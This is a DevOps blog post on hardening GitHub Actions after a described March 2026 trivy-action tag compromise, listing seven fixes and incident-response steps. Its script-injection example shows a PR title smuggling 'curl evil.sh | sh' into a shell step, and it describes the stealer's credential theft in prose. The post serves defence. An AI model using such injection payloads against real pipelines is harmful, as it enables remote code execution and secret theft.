GitHub Actions Security: 7 Fixes After the Trivy Compromise
In March 2026 an attacker force-pushed 76 trivy-action tags to an infostealer that read secrets straight out of runner memory. Seven fixes that would have contained it, in the order we'd apply them.
Key takeaways
- On March 19, 2026, attackers force-pushed 76 of 77 aquasecurity/trivy-action tags to code that dumped runner memory and stole CI secrets.
- Workflows pinned to a full commit SHA were not affected.
- Pin actions to SHAs or a lockfile, make GITHUB_TOKEN read-only by default, replace stored cloud keys with OIDC, and avoid pull_request_target with untrusted code.
On this page
If your workflows reference actions by tag, such as uses: some/action@v2, you trust that nobody will move that tag. On March 19, 2026, an attacker with stolen credentials force-pushed 76 of 77 aquasecurity/trivy-action tags to a credential stealer (CVE-2026-33634). For about twelve hours, any workflow running trivy-action@<tag> ran the attacker's code.
The payload dumped the Runner.Worker process memory to extract secrets and swept more than 50 filesystem paths for SSH keys, cloud credentials, Kubernetes tokens and .env files. Images referenced by digest and actions pinned by commit SHA were not affected.
Here are the seven fixes, in the order we'd apply them.
| Fix | Stops | Effort |
|---|---|---|
| 1. Pin actions to full commit SHAs | Moved or force-pushed tags | Low, with Dependabot |
2. Read-only GITHUB_TOKEN by default | Malicious code pushing to your repo | Low |
| 3. OIDC instead of stored cloud keys | Long-lived credentials being stolen | Medium |
4. No pull_request_target with checked-out PR code | Fork PRs running with your secrets | Low |
5. Untrusted input through env:, never inline | Script injection from PR titles and branch names | Low |
| 6. Workflow dependency lockfile | Transitive and repository-swap attacks | Medium |
| 7. Allow-list actions at the organization level | Unreviewed third-party actions | Low |
1. Pin every action to a full commit SHA
A tag is a pointer anyone with write access can move. A 40-character commit SHA can't be changed. GitHub's own hardening guide says to pin actions to a full-length commit SHA, and Dependabot can still keep pinned actions current, updating the version comment when it sits on the same line.
# .github/workflows/scan.yml
permissions:
contents: read
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0
- uses: aquasecurity/trivy-action@57a97c7e7821a5776cebc9bb87c984fa69cba8f1 # v0.35.0
with:
scan-type: fs
Look up each SHA from the action's own repository, not a fork, and verify it matches the release you intend. One trade-off: Dependabot doesn't raise vulnerability alerts for SHA-pinned actions, so subscribe to advisories for the actions you depend on.
2. Make GITHUB_TOKEN read-only by default
Set permissions: contents: read at the top of every workflow, or change the repository default to read-only, and grant write per job only where needed. A compromised step can then read your code but not push commits, publish packages or approve pull requests.
3. Replace stored cloud keys with OIDC
The trivy payload went looking for cloud credentials. A workflow that authenticates through OpenID Connect has no long-lived key to steal: it exchanges a short-lived token for temporary credentials scoped to one role. Restrict the role's trust policy to your repository and branch, so a token from another repository or a fork can't assume it.
4. Treat pull_request_target as dangerous
pull_request_target runs in the context of the base repository, with its secrets and a write token. Combined with checking out the pull request's code, it lets anyone with a fork run code with your secrets. Snyk's analysis traces the trivy credentials back to an earlier compromise that began with exactly this kind of pull_request_target workflow. If you need privileged follow-up work for pull requests, split it into a workflow_run workflow that never checks out untrusted code.
5. Pass untrusted input through environment variables
PR titles, branch names and issue bodies are attacker-controlled. Interpolating them into a run: script with ${{ }} turns them into shell code.
# Vulnerable: a PR titled a"; curl evil.sh | sh; " runs that command
- run: echo "Title: ${{ github.event.pull_request.title }}"
# Safe: the value arrives as data, not code
- env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Title: $PR_TITLE"
6 and 7. Lock dependencies and allow-list actions
GitHub now documents a workflow dependency lockfile, .github/workflows/actions.lock, generated by the gh actions-lock CLI extension. It records the exact commit for every action, including transitive ones, and verifies the source repository's identity at run time. GitHub calls it the strongest protection available, superseding SHA pinning for repositories that adopt it. Pair it with an organization policy that allows only actions you've reviewed, so a new third-party action needs a deliberate decision. For the package side of the same problem, see our npm supply chain CI hardening guide.
If you ran an affected version
The advisory's guidance is blunt: treat every secret those pipelines could reach as exposed and rotate it. Check runs from March 19-20, 2026, remove any Trivy v0.69.4, v0.69.5 or v0.69.6 artifacts, and search your organization for repositories named tpcp-docs, which the malware created as a fallback exfiltration channel.
Questions people ask
Should I pin GitHub Actions to a SHA or a version tag?
Pin to a full commit SHA and keep the version as a comment on the same line. Tags can be moved, which is how the March 2026 trivy-action compromise reached workflows that never changed a line (Snyk estimates more than 10,000 workflow files referenced the action), while a SHA can't. Dependabot can still update SHA-pinned actions, so pinning doesn't mean falling behind.
Was my workflow affected by the trivy-action compromise?
If a workflow ran aquasecurity/trivy-action by a version tag between about 17:43 UTC on March 19 and 05:40 UTC on March 20, 2026, assume it was, and rotate every secret it could read. Workflows pinned to a commit SHA, and images referenced by digest, were not affected.
What permissions should GITHUB_TOKEN have?
Read-only by default: contents: read at the workflow level, with write scopes granted per job only where a step genuinely needs them, such as packages: write for publishing an image. This limits what a compromised action can do with the token.
The decision, concretely
- Public repository accepting fork PRs? Fixes 1, 2, 4 and 5 today, before anything else.
- Workflows deploying to a cloud account? Add OIDC; stored access keys are the prize attackers look for.
- Many repositories in an organization? Set read-only token defaults and an action allow-list once, at the organization level.
- Ready for the strongest option? Adopt the workflow dependency lockfile and let it replace manual SHA pinning.
The call we'd make
Spend one afternoon pinning SHAs, setting read-only tokens and removing pull_request_target from anything that checks out PR code. Those three changes would have contained the trivy compromise for most teams. Then schedule OIDC and the lockfile, because the next incident will target whatever secrets your CI still holds.
Sources
More from DevOps
Explore more articles in this category
Argo CD App Always OutOfSync? Find the Field, Then Fix It
The sync succeeds, the app goes green for a second, then OutOfSync again. Almost always a controller is changing a field Git also sets. How to find it and the three fixes, in order of preference.
Kubernetes HPA Not Scaling? The 7 Causes, in Order
The HorizontalPodAutoscaler is up, traffic is spiking, and replicas won't move. Seven causes in the order we check them, each with the command that confirms it.
Do You Need Kubernetes in 2026? A Decision Framework
Kubernetes is the right answer for fewer teams than run it. Five questions that tell you whether you need it, and what to run instead when you don't.
You might have missed
Evergreen posts worth revisiting.